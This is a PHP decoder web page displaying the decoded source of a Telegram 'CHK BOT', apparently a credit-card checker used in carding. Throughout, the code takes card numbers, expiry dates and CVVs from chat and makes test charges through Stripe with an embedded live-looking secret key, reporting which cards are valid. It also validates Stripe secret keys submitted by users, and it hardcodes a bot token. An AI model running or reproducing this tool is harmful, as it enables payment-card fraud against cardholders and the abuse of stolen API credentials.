Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
/////////////////===========[ CHK BOT]=============//////////////// $botToken = "74967650..
Decoded Output download
<? /////////////////===========[ CHK BOT]=============////////////////
$botToken = "7496765074:AAEIAQSX32bBvzJxzC6rkirIMVvdoqHcApc"; // Enter ur bot token
$website = "https://api.telegram.org/bot".$botToken;
error_reporting(0);
$update = file_get_contents('php://input');
$update = json_decode($update, TRUE);
$print = print_r($update);
$chatId = $update["message"]["chat"]["id"];
$gId = $update["message"]["from"]["id"];
$userId = $update["message"]["from"]["id"];
$firstname = $update["message"]["from"]["first_name"];
$lastname = $update["message"]["from"]["last_name"];
$username = $update["message"]["from"]["username"];
$message = $update["message"]["text"];
$message_id = $update["message"]["message_id"];
$premiums = file_get_contents('users.txt');
$premium = explode("
", $premiums);
$group = file_get_contents('groups.txt');
$groups = explode("
", $group);
if($userId == '-4736716327') {
$usernam = ''.shadowdemon_xd.' [Owner]';
}
elseif($userId == '-4736716327') {
$usernam = ''.mtchex.' [Owner]';
}
else {
$usernam = $username;
}
$sk = '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';
function GetStr($string, $start, $end){
$str = explode($start, $string);
$str = explode($end, $str[1]);
return $str[0];
};
function multiexplode($delimiters, $string)
{
$one = str_replace($delimiters, $delimiters[0], $string);
$two = explode($delimiters[0], $one);
return $two;
}
function random_strings($length_of_string)
{
$str_result = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
return substr(str_shuffle($str_result),
0, $length_of_string);
}
$mail = 'shadowdemo2w'.random_strings(6).'';
//////////=========[Start Command]=========//////////
if ((strpos($message, "/info") === 0)||(strpos($message, "!start") === 0)||(strpos($message, "!id") === 0)||(strpos($message, "!info") === 0)||(strpos($message, "/id") === 0)||(strpos($message, "/me") === 0)||(strpos($message, "/start") === 0)){
sendMessage($chatId, "<b>Telegram ID:</b> <code>$userId</code><b>Group ID: </b><code>$chatId</code><b>To Know Commands: /cmds</b>", $message_id);
}
elseif ((strpos($message, "/chk") === 0)||(strpos($message, "!chk") === 0)||(strpos($message, ".chk") === 0)){
$message = substr($message, 4);
$amt = multiexplode(array("/", ":", " ", "|"), $message)[0];
$cc = multiexplode(array(":", "/", " ", "|"), $message)[1];
$mes = multiexplode(array(":", "/", " ", "|"), $message)[2];
$ano = multiexplode(array(":", "/", " ", "|"), $message)[3];
$cvv = multiexplode(array(":", "/", " ", "|"), $message)[4];
if (empty($amt)) {
$amt = '1';
}
$amount = $amt * 100;
$lista = ''.$cc.'|'.$mes.'|'.$ano.'|'.$cvv.'';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/'.$cc.'');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: lookup.binlist.net',
'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, '');
$fim = curl_exec($ch);
$bank = GetStr($fim, '"bank":{"name":"', '"');
$name = GetStr($fim, '"name":"', '"');
$brand = GetStr($fim, '"brand":"', '"');
$country = GetStr($fim, '"country":{"name":"', '"');
$emoji = GetStr($fim, '"emoji":"', '"');
$scheme = GetStr($fim, '"scheme":"', '"');
$type = GetStr($fim, '"type":"', '"');
if(strpos($fim, '"type":"credit"') !== false){
$bin = 'Credit';
}else{
$bin = 'Debit';
};
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_methods');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . '');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'type=card&card[number]='.$cc.'&card[exp_month]='.$mes.'&card[exp_year]='.$ano.'&card[cvc]='.$cvv.'&billing_details[address][line1]=36&billing_details[address][line2]=Regent Street&billing_details[address][city]=Jamestown&billing_details[address][postal_code]=14701&billing_details[address][state]=New York&billing_details[address][country]=US&billing_details[email]='.$mail.'@gmail.com&billing_details[name]= Mittal');
$result1 = curl_exec($ch);
$tok1 = Getstr($result1,'"id": "','"');
$msg1 = Getstr($result1,'"message": "','"');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_intents');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . '');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'amount='.$amount.'¤cy=usd&payment_method_types[]=card&description= Donation&payment_method='.$tok1.'&confirm=true&off_session=true');
$result2 = curl_exec($ch);
$msg2 = Getstr($result2,'"message": "','"');
$rcp = trim(strip_tags(getStr($result2,'"receipt_url": "','"')));
if(strpos($result2, '"seller_message": "Payment complete."' )) {
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Successfully Charged $$amt </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);
}
elseif(strpos($result2, "insufficient_funds" )) {
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Insufficient Funds</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "card_error_authentication_required")) || (strpos($result2, "card_error_authentication_required"))){ sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - 3D Card</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif(strpos($result2,'"cvc_check": "pass"')){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Payment Cannot Be Completed</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif(strpos($result2,'"code": "incorrect_cvc"')){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $$amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif(strpos($result1,'"code": "incorrect_cvc"')){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "transaction_not_allowed")) || (strpos($result2, "transaction_not_allowed"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Transaction Not Allowed</b><b>Gateway - Stripe Charge $$amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "fraudulent")) || (strpos($result2, "fraudulent"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Fraudulent</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "expired_card")) || (strpos($result2, "expired_card"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Expired Card</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "generic_declined")) || (strpos($result2, "generic_declined"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);
}
elseif ((strpos($result1, "do_not_honor")) || (strpos($result2, "do_not_honor"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Do Not Honor</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, 'rate_limit')) || (strpos($result2, 'rate_limit'))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - SK IS AT RATE LIMIT</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "Your card was declined.")) || (strpos($result2, "Your card was declined."))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, ' "message": "Your card number is incorrect."')) || (strpos($result2, ' "message": "Your card number is incorrect."'))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Card Number Is Incorrect</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
else {
sendMessage($chatId, "<b><u><i>Unknown Error. $msg1 - $msg2</i></u></b>", $message_id);
};
}
elseif ((strpos($message, "/inr") === 0)||(strpos($message, "!inr") === 0)||(strpos($message, ".inr") === 0)){
$message = substr($message, 4);
$amt = multiexplode(array("/", ":", " ", "|"), $message)[0];
$cc = multiexplode(array(":", "/", " ", "|"), $message)[1];
$mes = multiexplode(array(":", "/", " ", "|"), $message)[2];
$ano = multiexplode(array(":", "/", " ", "|"), $message)[3];
$cvv = multiexplode(array(":", "/", " ", "|"), $message)[4];
if (empty($amt)) {
$amt = '100';
}
$amount = $amt * 100;
$lista = ''.$cc.'|'.$mes.'|'.$ano.'|'.$cvv.'';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/'.$cc.'');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: lookup.binlist.net',
'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, '');
$fim = curl_exec($ch);
$bank = GetStr($fim, '"bank":{"name":"', '"');
$name = GetStr($fim, '"name":"', '"');
$brand = GetStr($fim, '"brand":"', '"');
$country = GetStr($fim, '"country":{"name":"', '"');
$emoji = GetStr($fim, '"emoji":"', '"');
$scheme = GetStr($fim, '"scheme":"', '"');
$type = GetStr($fim, '"type":"', '"');
if(strpos($fim, '"type":"credit"') !== false){
$bin = 'Credit';
}else{
$bin = 'Debit';
};
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_methods');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . '');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'type=card&card[number]='.$cc.'&card[exp_month]='.$mes.'&card[exp_year]='.$ano.'&card[cvc]='.$cvv.'&billing_details[address][line1]=36&billing_details[address][line2]=Regent Street&billing_details[address][city]=Jamestown&billing_details[address][postal_code]=14701&billing_details[address][state]=New York&billing_details[address][country]=US&billing_details[email]='.$mail.'@gmail.com&billing_details[name]= Mittal');
$result1 = curl_exec($ch);
$tok1 = Getstr($result1,'"id": "','"');
$msg1 = Getstr($result1,'"message": "','"');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_intents');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . '');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'amount='.$amount.'¤cy=inr&payment_method_types[]=card&description= Donation&payment_method='.$tok1.'&confirm=true&off_session=true');
$result2 = curl_exec($ch);
$msg2 = Getstr($result2,'"message": "','"');
$rcp = trim(strip_tags(getStr($result2,'"receipt_url": "','"')));
if(strpos($result2, '"seller_message": "Payment complete."' )) {
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Successfully Charged $amt </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);
}
elseif(strpos($result2, "insufficient_funds" )) {
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Insufficient Funds</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "card_error_authentication_required")) || (strpos($result2, "card_error_authentication_required"))){ sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - 3D Card</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif(strpos($result2,'"cvc_check": "pass"')){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Payment Cannot Be Completed</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif(strpos($result2,'"code": "incorrect_cvc"')){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif(strpos($result1,'"code": "incorrect_cvc"')){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "transaction_not_allowed")) || (strpos($result2, "transaction_not_allowed"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Transaction Not Allowed</b><b>Gateway - Stripe Charge $amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "fraudulent")) || (strpos($result2, "fraudulent"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Fraudulent</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "expired_card")) || (strpos($result2, "expired_card"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Expired Card</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "generic_declined")) || (strpos($result2, "generic_declined"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);
}
elseif ((strpos($result1, "do_not_honor")) || (strpos($result2, "do_not_honor"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Do Not Honor</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, 'rate_limit')) || (strpos($result2, 'rate_limit'))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - SK IS AT RATE LIMIT</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "Your card was declined.")) || (strpos($result2, "Your card was declined."))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, ' "message": "Your card number is incorrect."')) || (strpos($result2, ' "message": "Your card number is incorrect."'))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Card Number Is Incorrect</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
else {
sendMessage($chatId, "<b><u><i>Unknown Error. $msg1 - $msg2</i></u></b>", $message_id);
};
}
elseif ((strpos($message, "/cmds") === 0)||(strpos($message, "!cmds") === 0)||(strpos($message, "!command") === 0)||(strpos($message, "!commands") === 0)||(strpos($message, "/commands") === 0)||(strpos($message, "/command") === 0)||(strpos($message, "/cmd") === 0)){
sendMessage($chatId, "<b><i>[Checker Gates]STRIPE CUSTOM CHARGE -/chk{Amount In $} - xxxxxxxxxxxxxxxx|xx|xx|xxx/inr{Amount In } - xxxxxxxxxxxxxxxx|xx|xx|xxxBIN LOOKUP - /bin - xxxxxxSK CHECK - /sk - sk_live_xxxxxxxxxx[Tools]TELEGRAM ID/GROUP ID - /id</i></b>", $message_id);
}
//////////=========[Bin Command]=========//////////
elseif ((strpos($message, "/bin") === 0)||(strpos($message, "!bin") === 0)||(strpos($message, ".bin") === 0)){
$bin = substr($message, 5);
if (!empty($bin)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/'.$bin.'');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: lookup.binlist.net',
'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, '');
$fim = curl_exec($ch);
$bank = GetStr($fim, '"bank":{"name":"', '"');
$name = GetStr($fim, '"name":"', '"');
$brand = GetStr($fim, '"brand":"', '"');
$country = GetStr($fim, '"country":{"name":"', '"');
$emoji = GetStr($fim, '"emoji":"', '"');
$scheme = GetStr($fim, '"scheme":"', '"');
$type = GetStr($fim, '"type":"', '"');
if(strpos($fim, '"type":"credit"') !== false){
$bin = 'Credit';
}else{
$bin = 'Debit';
};
sendMessage($chatId, '<b> Valid Bin</b><b> Bank:</b> '.$bank.'<b> Country:</b> '.$name.''.$emoji.'<b> Brand:</b> '.$brand.'<b> Card:</b> '.$scheme.'<b> Type:</b> '.$type.'<b> Checked By:</b> @'.$username.'<b> Bot By: </b>', $message_id);
}
else {
sendMessage($chatId, '<b> Invalid BinFormat - /bin xxxxxx</b>', $message_id);
}
}
elseif (strpos($message, "/key") === 0){
$sec = substr($message, 5);
if (!empty($sec)) {
$skhidden = substr_replace($sec, '',12).preg_replace("/(?!^).(?!$)/", "x", substr($sec, 12));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/tokens');
curl_setopt($ch, CURLOPT_USERPWD, $sec. ':' . '');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'card[number]=4912461004526326&card[exp_month]=04&card[exp_year]=2024&card[cvc]=011');
$result = curl_exec($ch);
$response = trim(strip_tags(GetStr($result,'"message": "','"')));
if (strpos($result, 'tok_')){
sendMessage($chatId, "<b> LIVE KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> SK LIVE!!<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'Invalid API Key provided')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> INVALID KEY<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'You did not provide an API key.')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> No Sk Key Provided<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'rate_limit')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Rate Limited Key<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif ((strpos($result, 'testmode_charges_only')) || (strpos($result, 'test_mode_live_card'))){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Testmode Charges Only<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'api_key_expired')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Api Key Expired<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
else{
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> Unknown Error.<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
}
else {
sendMessage($chatId, '<b> No Sk ProvidedFormat - /key sk_live_xxxxxxxxxxx</b>', $message_id);
}
delMessage($chatId, $message_id);
;}
elseif (strpos($message, "/sk") === 0){
$sec = substr($message, 4);
if (!empty($sec)) {
$skhidden = substr_replace($sec, '',12).preg_replace("/(?!^).(?!$)/", "x", substr($sec, 12));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/tokens');
curl_setopt($ch, CURLOPT_USERPWD, $sec. ':' . '');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'card[number]=4912461004526326&card[exp_month]=04&card[exp_year]=2024&card[cvc]=011');
$result = curl_exec($ch);
$response = trim(strip_tags(GetStr($result,'"message": "','"')));
if (strpos($result, 'tok_')){
sendMessage($chatId, "<b> LIVE KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> SK LIVE!!<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'Invalid API Key provided')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> INVALID KEY<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'You did not provide an API key.')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> No Sk Key Provided<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'rate_limit')){
sendMessage($chatId, "<b> LIVE KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Rate Limited Key<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif ((strpos($result, 'testmode_charges_only')) || (strpos($result, 'test_mode_live_card'))){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Testmode Charges Only<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'api_key_expired')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Api Key Expired<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
else{
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> Unknown Error.<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
}
else {
sendMessage($chatId, '<b> No Sk ProvidedFormat - /sk sk_live_xxxxxxxxxxx</b>', $message_id);
}
delMessage($chatId, $message_id);
;}
function sendMessage ($chatId, $message, $message_id){
$url = $GLOBALS[website]."/sendMessage?chat_id=".$chatId."&text=".$message."&reply_to_message_id=".$message_id."&parse_mode=HTML";
file_get_contents($url);
};
function delMessage ($chatId, $message_id){
$url = $GLOBALS[website]."/deleteMessage?chat_id=".$chatId."&message_id=".$message_id."";
file_get_contents($url);
};
function editMessage($chatId, $message, $messageId) {
$url = $GLOBALS[website]."/editMessageText?chat_id=".$chatId."&message_id=".$messageId."&text=".urlencode($message);
file_get_contents($url);
} ?>
Did this file decode correctly?
Original Code
/////////////////===========[ CHK BOT]=============////////////////
$botToken = "7496765074:AAEIAQSX32bBvzJxzC6rkirIMVvdoqHcApc"; // Enter ur bot token
$website = "https://api.telegram.org/bot".$botToken;
error_reporting(0);
$update = file_get_contents('php://input');
$update = json_decode($update, TRUE);
$print = print_r($update);
$chatId = $update["message"]["chat"]["id"];
$gId = $update["message"]["from"]["id"];
$userId = $update["message"]["from"]["id"];
$firstname = $update["message"]["from"]["first_name"];
$lastname = $update["message"]["from"]["last_name"];
$username = $update["message"]["from"]["username"];
$message = $update["message"]["text"];
$message_id = $update["message"]["message_id"];
$premiums = file_get_contents('users.txt');
$premium = explode("\n", $premiums);
$group = file_get_contents('groups.txt');
$groups = explode("\n", $group);
if($userId == '-4736716327') {
$usernam = ''.shadowdemon_xd.' [Owner]';
}
elseif($userId == '-4736716327') {
$usernam = ''.mtchex.' [Owner]';
}
else {
$usernam = $username;
}
$sk = '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';
function GetStr($string, $start, $end){
$str = explode($start, $string);
$str = explode($end, $str[1]);
return $str[0];
};
function multiexplode($delimiters, $string)
{
$one = str_replace($delimiters, $delimiters[0], $string);
$two = explode($delimiters[0], $one);
return $two;
}
function random_strings($length_of_string)
{
$str_result = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
return substr(str_shuffle($str_result),
0, $length_of_string);
}
$mail = 'shadowdemo2w'.random_strings(6).'';
//////////=========[Start Command]=========//////////
if ((strpos($message, "/info") === 0)||(strpos($message, "!start") === 0)||(strpos($message, "!id") === 0)||(strpos($message, "!info") === 0)||(strpos($message, "/id") === 0)||(strpos($message, "/me") === 0)||(strpos($message, "/start") === 0)){
sendMessage($chatId, "<b>Telegram ID:</b> <code>$userId</code><b>Group ID: </b><code>$chatId</code><b>To Know Commands: /cmds</b>", $message_id);
}
elseif ((strpos($message, "/chk") === 0)||(strpos($message, "!chk") === 0)||(strpos($message, ".chk") === 0)){
$message = substr($message, 4);
$amt = multiexplode(array("/", ":", " ", "|"), $message)[0];
$cc = multiexplode(array(":", "/", " ", "|"), $message)[1];
$mes = multiexplode(array(":", "/", " ", "|"), $message)[2];
$ano = multiexplode(array(":", "/", " ", "|"), $message)[3];
$cvv = multiexplode(array(":", "/", " ", "|"), $message)[4];
if (empty($amt)) {
$amt = '1';
}
$amount = $amt * 100;
$lista = ''.$cc.'|'.$mes.'|'.$ano.'|'.$cvv.'';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/'.$cc.'');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: lookup.binlist.net',
'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, '');
$fim = curl_exec($ch);
$bank = GetStr($fim, '"bank":{"name":"', '"');
$name = GetStr($fim, '"name":"', '"');
$brand = GetStr($fim, '"brand":"', '"');
$country = GetStr($fim, '"country":{"name":"', '"');
$emoji = GetStr($fim, '"emoji":"', '"');
$scheme = GetStr($fim, '"scheme":"', '"');
$type = GetStr($fim, '"type":"', '"');
if(strpos($fim, '"type":"credit"') !== false){
$bin = 'Credit';
}else{
$bin = 'Debit';
};
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_methods');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . '');
